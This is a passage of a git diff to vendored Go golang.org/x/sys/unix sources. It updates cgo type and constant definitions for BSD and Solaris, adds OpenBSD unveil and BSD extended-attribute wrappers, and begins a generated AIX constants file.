-+
- #include <dirent.h>
- #include <fcntl.h>
-+#include <poll.h>
- #include <signal.h>
- #include <termios.h>
- #include <stdio.h>
- #include <unistd.h>
--#include <sys/capability.h>
-+#include <sys/capsicum.h>
- #include <sys/event.h>
- #include <sys/mman.h>
- #include <sys/mount.h>
-@@ -35,6 +40,7 @@ package unix
- #include <sys/time.h>
- #include <sys/types.h>
- #include <sys/un.h>
-+#include <sys/utsname.h>
- #include <sys/wait.h>
- #include <net/bpf.h>
- #include <net/if.h>
-@@ -61,50 +67,6 @@ struct sockaddr_any {
- char pad[sizeof(union sockaddr_all) - sizeof(struct sockaddr)];
- };
-
--// This structure is a duplicate of stat on FreeBSD 8-STABLE.
--// See /usr/include/sys/stat.h.
--struct stat8 {
--#undef st_atimespec st_atim
--#undef st_mtimespec st_mtim
--#undef st_ctimespec st_ctim
--#undef st_birthtimespec st_birthtim
-- __dev_t st_dev;
-- ino_t st_ino;
-- mode_t st_mode;
-- nlink_t st_nlink;
-- uid_t st_uid;
-- gid_t st_gid;
-- __dev_t st_rdev;
--#if __BSD_VISIBLE
-- struct timespec st_atimespec;
-- struct timespec st_mtimespec;
-- struct timespec st_ctimespec;
--#else
-- time_t st_atime;
-- long __st_atimensec;
-- time_t st_mtime;
-- long __st_mtimensec;
-- time_t st_ctime;
-- long __st_ctimensec;
--#endif
-- off_t st_size;
-- blkcnt_t st_blocks;
-- blksize_t st_blksize;
-- fflags_t st_flags;
-- __uint32_t st_gen;
-- __int32_t st_lspare;
--#if __BSD_VISIBLE
-- struct timespec st_birthtimespec;
-- unsigned int :(8 / 2) * (16 - (int)sizeof(struct timespec));
-- unsigned int :(8 / 2) * (16 - (int)sizeof(struct timespec));
--#else
-- time_t st_birthtime;
-- long st_birthtimensec;
-- unsigned int :(8 / 2) * (16 - (int)sizeof(struct __timespec));
-- unsigned int :(8 / 2) * (16 - (int)sizeof(struct __timespec));
--#endif
--};
--
- // This structure is a duplicate of if_data on FreeBSD 8-STABLE.
- // See /usr/include/net/if.h.
- struct if_data8 {
-@@ -152,14 +114,14 @@ struct if_msghdr8 {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
- )
-
- // Basic types
-@@ -187,33 +149,33 @@ type _Gid_t C.gid_t
-
- // Files
-
--const ( // Directory mode bits
-- S_IFMT = C.S_IFMT
-- S_IFIFO = C.S_IFIFO
-- S_IFCHR = C.S_IFCHR
-- S_IFDIR = C.S_IFDIR
-- S_IFBLK = C.S_IFBLK
-- S_IFREG = C.S_IFREG
-- S_IFLNK = C.S_IFLNK
-- S_IFSOCK = C.S_IFSOCK
-- S_ISUID = C.S_ISUID
-- S_ISGID = C.S_ISGID
-- S_ISVTX = C.S_ISVTX
-- S_IRUSR = C.S_IRUSR
-- S_IWUSR = C.S_IWUSR
-- S_IXUSR = C.S_IXUSR
-+const (
-+ _statfsVersion = C.STATFS_VERSION
-+ _dirblksiz = C.DIRBLKSIZ
- )
-
--type Stat_t C.struct_stat8
-+type Stat_t C.struct_stat
-+
-+type stat_freebsd11_t C.struct_freebsd11_stat
-
- type Statfs_t C.struct_statfs
-
-+type statfs_freebsd11_t C.struct_freebsd11_statfs
-+
- type Flock_t C.struct_flock
-
- type Dirent C.struct_dirent
-
-+type dirent_freebsd11 C.struct_freebsd11_dirent
-+
- type Fsid C.struct_fsid
-
-+// File system limits
-+
-+const (
-+ PathMax = C.PATH_MAX
-+)
-+
- // Advice to Fadvise
-
- const (
-@@ -281,14 +243,58 @@ const (
- // Ptrace requests
-
- const (
-- PTRACE_TRACEME = C.PT_TRACE_ME
-- PTRACE_CONT = C.PT_CONTINUE
-- PTRACE_KILL = C.PT_KILL
-+ PTRACE_ATTACH = C.PT_ATTACH
-+ PTRACE_CONT = C.PT_CONTINUE
-+ PTRACE_DETACH = C.PT_DETACH
-+ PTRACE_GETFPREGS = C.PT_GETFPREGS
-+ PTRACE_GETFSBASE = C.PT_GETFSBASE
-+ PTRACE_GETLWPLIST = C.PT_GETLWPLIST
-+ PTRACE_GETNUMLWPS = C.PT_GETNUMLWPS
-+ PTRACE_GETREGS = C.PT_GETREGS
-+ PTRACE_GETXSTATE = C.PT_GETXSTATE
-+ PTRACE_IO = C.PT_IO
-+ PTRACE_KILL = C.PT_KILL
-+ PTRACE_LWPEVENTS = C.PT_LWP_EVENTS
-+ PTRACE_LWPINFO = C.PT_LWPINFO
-+ PTRACE_SETFPREGS = C.PT_SETFPREGS
-+ PTRACE_SETREGS = C.PT_SETREGS
-+ PTRACE_SINGLESTEP = C.PT_STEP
-+ PTRACE_TRACEME = C.PT_TRACE_ME
-+)
-+
-+const (
-+ PIOD_READ_D = C.PIOD_READ_D
-+ PIOD_WRITE_D = C.PIOD_WRITE_D
-+ PIOD_READ_I = C.PIOD_READ_I
-+ PIOD_WRITE_I = C.PIOD_WRITE_I
-+)
-+
-+const (
-+ PL_FLAG_BORN = C.PL_FLAG_BORN
-+ PL_FLAG_EXITED = C.PL_FLAG_EXITED
-+ PL_FLAG_SI = C.PL_FLAG_SI
-+)
-+
-+const (
-+ TRAP_BRKPT = C.TRAP_BRKPT
-+ TRAP_TRACE = C.TRAP_TRACE
- )
-
-+type PtraceLwpInfoStruct C.struct_ptrace_lwpinfo
-+
-+type __Siginfo C.struct___siginfo
-+
-+type Sigset_t C.sigset_t
-+
-+type Reg C.struct_reg
-+
-+type FpReg C.struct_fpreg
-+
-+type PtraceIoDesc C.struct_ptrace_io_desc
-+
- // Events (kqueue, kevent)
-
--type Kevent_t C.struct_kevent
-+type Kevent_t C.struct_kevent_freebsd11
-
- // Select
-
-@@ -367,6 +373,34 @@ const (
- AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
- )
-
-+// poll
-+
-+type PollFd C.struct_pollfd
-+
-+const (
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLINIGNEOF = C.POLLINIGNEOF
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
-+)
-+
- // Capabilities
-
- type CapRights C.struct_cap_rights
-+
-+// Uname
-+
-+type Utsname C.struct_utsname
-+
-+// Clockinfo
-+
-+const SizeofClockinfo = C.sizeof_struct_clockinfo
-+
-+type Clockinfo C.struct_clockinfo
-diff --git a/vendor/golang.org/x/sys/unix/types_netbsd.go b/vendor/golang.org/x/sys/unix/types_netbsd.go
-index cb95c80a..0a81aadb 100644
---- a/vendor/golang.org/x/sys/unix/types_netbsd.go
-+++ b/vendor/golang.org/x/sys/unix/types_netbsd.go
-@@ -17,6 +17,7 @@ package unix
- #define KERNEL
- #include <dirent.h>
- #include <fcntl.h>
-+#include <poll.h>
- #include <signal.h>
- #include <termios.h>
- #include <stdio.h>
-@@ -32,10 +33,12 @@ package unix
- #include <sys/signal.h>
- #include <sys/socket.h>
- #include <sys/stat.h>
-+#include <sys/statvfs.h>
- #include <sys/sysctl.h>
- #include <sys/time.h>
- #include <sys/uio.h>
- #include <sys/un.h>
-+#include <sys/utsname.h>
- #include <sys/wait.h>
- #include <net/bpf.h>
- #include <net/if.h>
-@@ -65,14 +68,14 @@ struct sockaddr_any {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
- )
-
- // Basic types
-@@ -104,12 +107,38 @@ type Stat_t C.struct_stat
-
- type Statfs_t C.struct_statfs
-
-+type Statvfs_t C.struct_statvfs
-+
- type Flock_t C.struct_flock
-
- type Dirent C.struct_dirent
-
- type Fsid C.fsid_t
-
-+// File system limits
-+
-+const (
-+ PathMax = C.PATH_MAX
-+)
-+
-+// Fstatvfs/Statvfs flags
-+
-+const (
-+ ST_WAIT = C.ST_WAIT
-+ ST_NOWAIT = C.ST_NOWAIT
-+)
-+
-+// Advice to Fadvise
-+
-+const (
-+ FADV_NORMAL = C.POSIX_FADV_NORMAL
-+ FADV_RANDOM = C.POSIX_FADV_RANDOM
-+ FADV_SEQUENTIAL = C.POSIX_FADV_SEQUENTIAL
-+ FADV_WILLNEED = C.POSIX_FADV_WILLNEED
-+ FADV_DONTNEED = C.POSIX_FADV_DONTNEED
-+ FADV_NOREUSE = C.POSIX_FADV_NOREUSE
-+)
-+
- // Sockets
-
- type RawSockaddrInet4 C.struct_sockaddr_in
-@@ -227,13 +256,45 @@ type BpfTimeval C.struct_bpf_timeval
-
- type Termios C.struct_termios
-
-+type Winsize C.struct_winsize
-+
-+type Ptmget C.struct_ptmget
-+
- // fchmodat-like syscalls.
-
- const (
- AT_FDCWD = C.AT_FDCWD
-+ AT_SYMLINK_FOLLOW = C.AT_SYMLINK_FOLLOW
- AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
- )
-
-+// poll
-+
-+type PollFd C.struct_pollfd
-+
-+const (
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
-+)
-+
- // Sysctl
-
- type Sysctlnode C.struct_sysctlnode
-+
-+// Uname
-+
-+type Utsname C.struct_utsname
-+
-+// Clockinfo
-+
-+const SizeofClockinfo = C.sizeof_struct_clockinfo
-+
-+type Clockinfo C.struct_clockinfo
-diff --git a/vendor/golang.org/x/sys/unix/types_openbsd.go b/vendor/golang.org/x/sys/unix/types_openbsd.go
-index 392da69b..775cb57d 100644
---- a/vendor/golang.org/x/sys/unix/types_openbsd.go
-+++ b/vendor/golang.org/x/sys/unix/types_openbsd.go
-@@ -17,6 +17,7 @@ package unix
- #define KERNEL
- #include <dirent.h>
- #include <fcntl.h>
-+#include <poll.h>
- #include <signal.h>
- #include <termios.h>
- #include <stdio.h>
-@@ -35,7 +36,9 @@ package unix
- #include <sys/time.h>
- #include <sys/uio.h>
- #include <sys/un.h>
-+#include <sys/utsname.h>
- #include <sys/wait.h>
-+#include <uvm/uvmexp.h>
- #include <net/bpf.h>
- #include <net/if.h>
- #include <net/if_dl.h>
-@@ -64,14 +67,14 @@ struct sockaddr_any {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
- )
-
- // Basic types
-@@ -99,23 +102,6 @@ type _Gid_t C.gid_t
-
- // Files
-
--const ( // Directory mode bits
-- S_IFMT = C.S_IFMT
-- S_IFIFO = C.S_IFIFO
-- S_IFCHR = C.S_IFCHR
-- S_IFDIR = C.S_IFDIR
-- S_IFBLK = C.S_IFBLK
-- S_IFREG = C.S_IFREG
-- S_IFLNK = C.S_IFLNK
-- S_IFSOCK = C.S_IFSOCK
-- S_ISUID = C.S_ISUID
-- S_ISGID = C.S_ISGID
-- S_ISVTX = C.S_ISVTX
-- S_IRUSR = C.S_IRUSR
-- S_IWUSR = C.S_IWUSR
-- S_IXUSR = C.S_IXUSR
--)
--
- type Stat_t C.struct_stat
-
- type Statfs_t C.struct_statfs
-@@ -126,6 +112,12 @@ type Dirent C.struct_dirent
-
- type Fsid C.fsid_t
-
-+// File system limits
-+
-+const (
-+ PathMax = C.PATH_MAX
-+)
-+
- // Sockets
-
- type RawSockaddrInet4 C.struct_sockaddr_in
-@@ -243,9 +235,49 @@ type BpfTimeval C.struct_bpf_timeval
-
- type Termios C.struct_termios
-
-+type Winsize C.struct_winsize
-+
- // fchmodat-like syscalls.
-
- const (
- AT_FDCWD = C.AT_FDCWD
-+ AT_SYMLINK_FOLLOW = C.AT_SYMLINK_FOLLOW
- AT_SYMLINK_NOFOLLOW = C.AT_SYMLINK_NOFOLLOW
- )
-+
-+// poll
-+
-+type PollFd C.struct_pollfd
-+
-+const (
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
-+)
-+
-+// Signal Sets
-+
-+type Sigset_t C.sigset_t
-+
-+// Uname
-+
-+type Utsname C.struct_utsname
-+
-+// Uvmexp
-+
-+const SizeofUvmexp = C.sizeof_struct_uvmexp
-+
-+type Uvmexp C.struct_uvmexp
-+
-+// Clockinfo
-+
-+const SizeofClockinfo = C.sizeof_struct_clockinfo
-+
-+type Clockinfo C.struct_clockinfo
-diff --git a/vendor/golang.org/x/sys/unix/types_solaris.go b/vendor/golang.org/x/sys/unix/types_solaris.go
-index 393c7f04..d713f09e 100644
---- a/vendor/golang.org/x/sys/unix/types_solaris.go
-+++ b/vendor/golang.org/x/sys/unix/types_solaris.go
-@@ -24,6 +24,7 @@ package unix
- #include <fcntl.h>
- #include <netdb.h>
- #include <limits.h>
-+#include <poll.h>
- #include <signal.h>
- #include <termios.h>
- #include <termio.h>
-@@ -74,14 +75,14 @@ struct sockaddr_any {
- */
- import "C"
-
--// Machine characteristics; for internal use.
-+// Machine characteristics
-
- const (
-- sizeofPtr = C.sizeofPtr
-- sizeofShort = C.sizeof_short
-- sizeofInt = C.sizeof_int
-- sizeofLong = C.sizeof_long
-- sizeofLongLong = C.sizeof_longlong
-+ SizeofPtr = C.sizeofPtr
-+ SizeofShort = C.sizeof_short
-+ SizeofInt = C.sizeof_int
-+ SizeofLong = C.sizeof_long
-+ SizeofLongLong = C.sizeof_longlong
- PathMax = C.PATH_MAX
- MaxHostNameLen = C.MAXHOSTNAMELEN
- )
-@@ -117,23 +118,6 @@ type _Gid_t C.gid_t
-
- // Files
-
--const ( // Directory mode bits
-- S_IFMT = C.S_IFMT
-- S_IFIFO = C.S_IFIFO
-- S_IFCHR = C.S_IFCHR
-- S_IFDIR = C.S_IFDIR
-- S_IFBLK = C.S_IFBLK
-- S_IFREG = C.S_IFREG
-- S_IFLNK = C.S_IFLNK
-- S_IFSOCK = C.S_IFSOCK
-- S_ISUID = C.S_ISUID
-- S_ISGID = C.S_ISGID
-- S_ISVTX = C.S_ISVTX
-- S_IRUSR = C.S_IRUSR
-- S_IWUSR = C.S_IWUSR
-- S_IXUSR = C.S_IXUSR
--)
--
- type Stat_t C.struct_stat
-
- type Flock_t C.struct_flock
-@@ -174,6 +158,8 @@ type Msghdr C.struct_msghdr
-
- type Cmsghdr C.struct_cmsghdr
-
-+type Inet4Pktinfo C.struct_in_pktinfo
-+
- type Inet6Pktinfo C.struct_in6_pktinfo
-
- type IPv6MTUInfo C.struct_ip6_mtuinfo
-@@ -191,6 +177,7 @@ const (
- SizeofIPv6Mreq = C.sizeof_struct_ipv6_mreq
- SizeofMsghdr = C.sizeof_struct_msghdr
- SizeofCmsghdr = C.sizeof_struct_cmsghdr
-+ SizeofInet4Pktinfo = C.sizeof_struct_in_pktinfo
- SizeofInet6Pktinfo = C.sizeof_struct_in6_pktinfo
- SizeofIPv6MTUInfo = C.sizeof_struct_ip6_mtuinfo
- SizeofICMPv6Filter = C.sizeof_struct_icmp6_filter
-@@ -256,10 +243,6 @@ type BpfTimeval C.struct_bpf_timeval
-
- type BpfHdr C.struct_bpf_hdr
-
--// sysconf information
--
--const _SC_PAGESIZE = C._SC_PAGESIZE
--
- // Terminal handling
-
- type Termios C.struct_termios
-@@ -267,3 +250,20 @@ type Termios C.struct_termios
- type Termio C.struct_termio
-
- type Winsize C.struct_winsize
-+
-+// poll
-+
-+type PollFd C.struct_pollfd
-+
-+const (
-+ POLLERR = C.POLLERR
-+ POLLHUP = C.POLLHUP
-+ POLLIN = C.POLLIN
-+ POLLNVAL = C.POLLNVAL
-+ POLLOUT = C.POLLOUT
-+ POLLPRI = C.POLLPRI
-+ POLLRDBAND = C.POLLRDBAND
-+ POLLRDNORM = C.POLLRDNORM
-+ POLLWRBAND = C.POLLWRBAND
-+ POLLWRNORM = C.POLLWRNORM
-+)
-diff --git a/vendor/golang.org/x/sys/unix/unveil_openbsd.go b/vendor/golang.org/x/sys/unix/unveil_openbsd.go
-new file mode 100644
-index 00000000..168d5ae7
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/unveil_openbsd.go
-@@ -0,0 +1,42 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+package unix
-+
-+import (
-+ "syscall"
-+ "unsafe"
-+)
-+
-+// Unveil implements the unveil syscall.
-+// For more information see unveil(2).
-+// Note that the special case of blocking further
-+// unveil calls is handled by UnveilBlock.
-+func Unveil(path string, flags string) error {
-+ pathPtr, err := syscall.BytePtrFromString(path)
-+ if err != nil {
-+ return err
-+ }
-+ flagsPtr, err := syscall.BytePtrFromString(flags)
-+ if err != nil {
-+ return err
-+ }
-+ _, _, e := syscall.Syscall(SYS_UNVEIL, uintptr(unsafe.Pointer(pathPtr)), uintptr(unsafe.Pointer(flagsPtr)), 0)
-+ if e != 0 {
-+ return e
-+ }
-+ return nil
-+}
-+
-+// UnveilBlock blocks future unveil calls.
-+// For more information see unveil(2).
-+func UnveilBlock() error {
-+ // Both pointers must be nil.
-+ var pathUnsafe, flagsUnsafe unsafe.Pointer
-+ _, _, e := syscall.Syscall(SYS_UNVEIL, uintptr(pathUnsafe), uintptr(flagsUnsafe), 0)
-+ if e != 0 {
-+ return e
-+ }
-+ return nil
-+}
-diff --git a/vendor/golang.org/x/sys/unix/xattr_bsd.go b/vendor/golang.org/x/sys/unix/xattr_bsd.go
-new file mode 100644
-index 00000000..30c1d71f
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/xattr_bsd.go
-@@ -0,0 +1,240 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build freebsd netbsd
-+
-+package unix
-+
-+import (
-+ "strings"
-+ "unsafe"
-+)
-+
-+// Derive extattr namespace and attribute name
-+
-+func xattrnamespace(fullattr string) (ns int, attr string, err error) {
-+ s := strings.IndexByte(fullattr, '.')
-+ if s == -1 {
-+ return -1, "", ENOATTR
-+ }
-+
-+ namespace := fullattr[0:s]
-+ attr = fullattr[s+1:]
-+
-+ switch namespace {
-+ case "user":
-+ return EXTATTR_NAMESPACE_USER, attr, nil
-+ case "system":
-+ return EXTATTR_NAMESPACE_SYSTEM, attr, nil
-+ default:
-+ return -1, "", ENOATTR
-+ }
-+}
-+
-+func initxattrdest(dest []byte, idx int) (d unsafe.Pointer) {
-+ if len(dest) > idx {
-+ return unsafe.Pointer(&dest[idx])
-+ } else {
-+ return unsafe.Pointer(_zero)
-+ }
-+}
-+
-+// FreeBSD and NetBSD implement their own syscalls to handle extended attributes
-+
-+func Getxattr(file string, attr string, dest []byte) (sz int, err error) {
-+ d := initxattrdest(dest, 0)
-+ destsize := len(dest)
-+
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return -1, err
-+ }
-+
-+ return ExtattrGetFile(file, nsid, a, uintptr(d), destsize)
-+}
-+
-+func Fgetxattr(fd int, attr string, dest []byte) (sz int, err error) {
-+ d := initxattrdest(dest, 0)
-+ destsize := len(dest)
-+
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return -1, err
-+ }
-+
-+ return ExtattrGetFd(fd, nsid, a, uintptr(d), destsize)
-+}
-+
-+func Lgetxattr(link string, attr string, dest []byte) (sz int, err error) {
-+ d := initxattrdest(dest, 0)
-+ destsize := len(dest)
-+
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return -1, err
-+ }
-+
-+ return ExtattrGetLink(link, nsid, a, uintptr(d), destsize)
-+}
-+
-+// flags are unused on FreeBSD
-+
-+func Fsetxattr(fd int, attr string, data []byte, flags int) (err error) {
-+ var d unsafe.Pointer
-+ if len(data) > 0 {
-+ d = unsafe.Pointer(&data[0])
-+ }
-+ datasiz := len(data)
-+
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return
-+ }
-+
-+ _, err = ExtattrSetFd(fd, nsid, a, uintptr(d), datasiz)
-+ return
-+}
-+
-+func Setxattr(file string, attr string, data []byte, flags int) (err error) {
-+ var d unsafe.Pointer
-+ if len(data) > 0 {
-+ d = unsafe.Pointer(&data[0])
-+ }
-+ datasiz := len(data)
-+
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return
-+ }
-+
-+ _, err = ExtattrSetFile(file, nsid, a, uintptr(d), datasiz)
-+ return
-+}
-+
-+func Lsetxattr(link string, attr string, data []byte, flags int) (err error) {
-+ var d unsafe.Pointer
-+ if len(data) > 0 {
-+ d = unsafe.Pointer(&data[0])
-+ }
-+ datasiz := len(data)
-+
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return
-+ }
-+
-+ _, err = ExtattrSetLink(link, nsid, a, uintptr(d), datasiz)
-+ return
-+}
-+
-+func Removexattr(file string, attr string) (err error) {
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return
-+ }
-+
-+ err = ExtattrDeleteFile(file, nsid, a)
-+ return
-+}
-+
-+func Fremovexattr(fd int, attr string) (err error) {
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return
-+ }
-+
-+ err = ExtattrDeleteFd(fd, nsid, a)
-+ return
-+}
-+
-+func Lremovexattr(link string, attr string) (err error) {
-+ nsid, a, err := xattrnamespace(attr)
-+ if err != nil {
-+ return
-+ }
-+
-+ err = ExtattrDeleteLink(link, nsid, a)
-+ return
-+}
-+
-+func Listxattr(file string, dest []byte) (sz int, err error) {
-+ d := initxattrdest(dest, 0)
-+ destsiz := len(dest)
-+
-+ // FreeBSD won't allow you to list xattrs from multiple namespaces
-+ s := 0
-+ for _, nsid := range [...]int{EXTATTR_NAMESPACE_USER, EXTATTR_NAMESPACE_SYSTEM} {
-+ stmp, e := ExtattrListFile(file, nsid, uintptr(d), destsiz)
-+
-+ /* Errors accessing system attrs are ignored so that
-+ * we can implement the Linux-like behavior of omitting errors that
-+ * we don't have read permissions on
-+ *
-+ * Linux will still error if we ask for user attributes on a file that
-+ * we don't have read permissions on, so don't ignore those errors
-+ */
-+ if e != nil && e == EPERM && nsid != EXTATTR_NAMESPACE_USER {
-+ continue
-+ } else if e != nil {
-+ return s, e
-+ }
-+
-+ s += stmp
-+ destsiz -= s
-+ if destsiz < 0 {
-+ destsiz = 0
-+ }
-+ d = initxattrdest(dest, s)
-+ }
-+
-+ return s, nil
-+}
-+
-+func Flistxattr(fd int, dest []byte) (sz int, err error) {
-+ d := initxattrdest(dest, 0)
-+ destsiz := len(dest)
-+
-+ s := 0
-+ for _, nsid := range [...]int{EXTATTR_NAMESPACE_USER, EXTATTR_NAMESPACE_SYSTEM} {
-+ stmp, e := ExtattrListFd(fd, nsid, uintptr(d), destsiz)
-+ if e != nil && e == EPERM && nsid != EXTATTR_NAMESPACE_USER {
-+ continue
-+ } else if e != nil {
-+ return s, e
-+ }
-+
-+ s += stmp
-+ destsiz -= s
-+ if destsiz < 0 {
-+ destsiz = 0
-+ }
-+ d = initxattrdest(dest, s)
-+ }
-+
-+ return s, nil
-+}
-+
-+func Llistxattr(link string, dest []byte) (sz int, err error) {
-+ d := initxattrdest(dest, 0)
-+ destsiz := len(dest)
-+
-+ s := 0
-+ for _, nsid := range [...]int{EXTATTR_NAMESPACE_USER, EXTATTR_NAMESPACE_SYSTEM} {
-+ stmp, e := ExtattrListLink(link, nsid, uintptr(d), destsiz)
-+ if e != nil && e == EPERM && nsid != EXTATTR_NAMESPACE_USER {
-+ continue
-+ } else if e != nil {
-+ return s, e
-+ }
-+
-+ s += stmp
-+ destsiz -= s
-+ if destsiz < 0 {
-+ destsiz = 0
-+ }
-+ d = initxattrdest(dest, s)
-+ }
-+
-+ return s, nil
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_aix_ppc.go b/vendor/golang.org/x/sys/unix/zerrors_aix_ppc.go
-new file mode 100644
-index 00000000..104994bc
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zerrors_aix_ppc.go
-@@ -0,0 +1,1384 @@
-+// mkerrors.sh -maix32
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build ppc,aix
-+
-+// Created by cgo -godefs - DO NOT EDIT
-+// cgo -godefs -- -maix32 _const.go
-+
-+package unix
-+
-+import "syscall"
-+
-+const (
-+ AF_APPLETALK = 0x10
-+ AF_BYPASS = 0x19
-+ AF_CCITT = 0xa
-+ AF_CHAOS = 0x5
-+ AF_DATAKIT = 0x9
-+ AF_DECnet = 0xc
-+ AF_DLI = 0xd
-+ AF_ECMA = 0x8
-+ AF_HYLINK = 0xf
-+ AF_IMPLINK = 0x3
-+ AF_INET = 0x2
-+ AF_INET6 = 0x18
-+ AF_INTF = 0x14
-+ AF_ISO = 0x7
-+ AF_LAT = 0xe
-+ AF_LINK = 0x12
-+ AF_LOCAL = 0x1
-+ AF_MAX = 0x1e
-+ AF_NDD = 0x17
-+ AF_NETWARE = 0x16
-+ AF_NS = 0x6
-+ AF_OSI = 0x7
-+ AF_PUP = 0x4
-+ AF_RIF = 0x15
-+ AF_ROUTE = 0x11
-+ AF_SNA = 0xb
-+ AF_UNIX = 0x1
-+ AF_UNSPEC = 0x0
-+ ALTWERASE = 0x400000
-+ ARPHRD_802_3 = 0x6
-+ ARPHRD_802_5 = 0x6
-+ ARPHRD_ETHER = 0x1
-+ ARPHRD_FDDI = 0x1
-+ B0 = 0x0
-+ B110 = 0x3
-+ B1200 = 0x9
-+ B134 = 0x4
-+ B150 = 0x5
-+ B1800 = 0xa
-+ B19200 = 0xe
-+ B200 = 0x6
-+ B2400 = 0xb
-+ B300 = 0x7
-+ B38400 = 0xf
-+ B4800 = 0xc
-+ B50 = 0x1
-+ B600 = 0x8
-+ B75 = 0x2
-+ B9600 = 0xd
-+ BRKINT = 0x2
-+ BS0 = 0x0
-+ BS1 = 0x1000
-+ BSDLY = 0x1000
-+ CAP_AACCT = 0x6
-+ CAP_ARM_APPLICATION = 0x5
-+ CAP_BYPASS_RAC_VMM = 0x3
-+ CAP_CLEAR = 0x0
-+ CAP_CREDENTIALS = 0x7
-+ CAP_EFFECTIVE = 0x1
-+ CAP_EWLM_AGENT = 0x4
-+ CAP_INHERITABLE = 0x2
-+ CAP_MAXIMUM = 0x7
-+ CAP_NUMA_ATTACH = 0x2
-+ CAP_PERMITTED = 0x3
-+ CAP_PROPAGATE = 0x1
-+ CAP_PROPOGATE = 0x1
-+ CAP_SET = 0x1
-+ CBAUD = 0xf
-+ CFLUSH = 0xf
-+ CIBAUD = 0xf0000
-+ CLOCAL = 0x800
-+ CLOCK_MONOTONIC = 0xa
-+ CLOCK_PROCESS_CPUTIME_ID = 0xb
-+ CLOCK_REALTIME = 0x9
-+ CLOCK_THREAD_CPUTIME_ID = 0xc
-+ CR0 = 0x0
-+ CR1 = 0x100
-+ CR2 = 0x200
-+ CR3 = 0x300
-+ CRDLY = 0x300
-+ CREAD = 0x80
-+ CS5 = 0x0
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIOCGIFCONF = -0x3ff796dc
-+ CSIZE = 0x30
-+ CSMAP_DIR = "/usr/lib/nls/csmap/"
-+ CSTART = '\021'
-+ CSTOP = '\023'
-+ CSTOPB = 0x40
-+ CSUSP = 0x1a
-+ ECHO = 0x8
-+ ECHOCTL = 0x20000
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x80000
-+ ECHONL = 0x40
-+ ECHOPRT = 0x40000
-+ ECH_ICMPID = 0x2
-+ ETHERNET_CSMACD = 0x6
-+ EVENP = 0x80
-+ EXCONTINUE = 0x0
-+ EXDLOK = 0x3
-+ EXIO = 0x2
-+ EXPGIO = 0x0
-+ EXRESUME = 0x2
-+ EXRETURN = 0x1
-+ EXSIG = 0x4
-+ EXTA = 0xe
-+ EXTB = 0xf
-+ EXTRAP = 0x1
-+ EYEC_RTENTRYA = 0x257274656e747241
-+ EYEC_RTENTRYF = 0x257274656e747246
-+ E_ACC = 0x0
-+ FD_CLOEXEC = 0x1
-+ FD_SETSIZE = 0xfffe
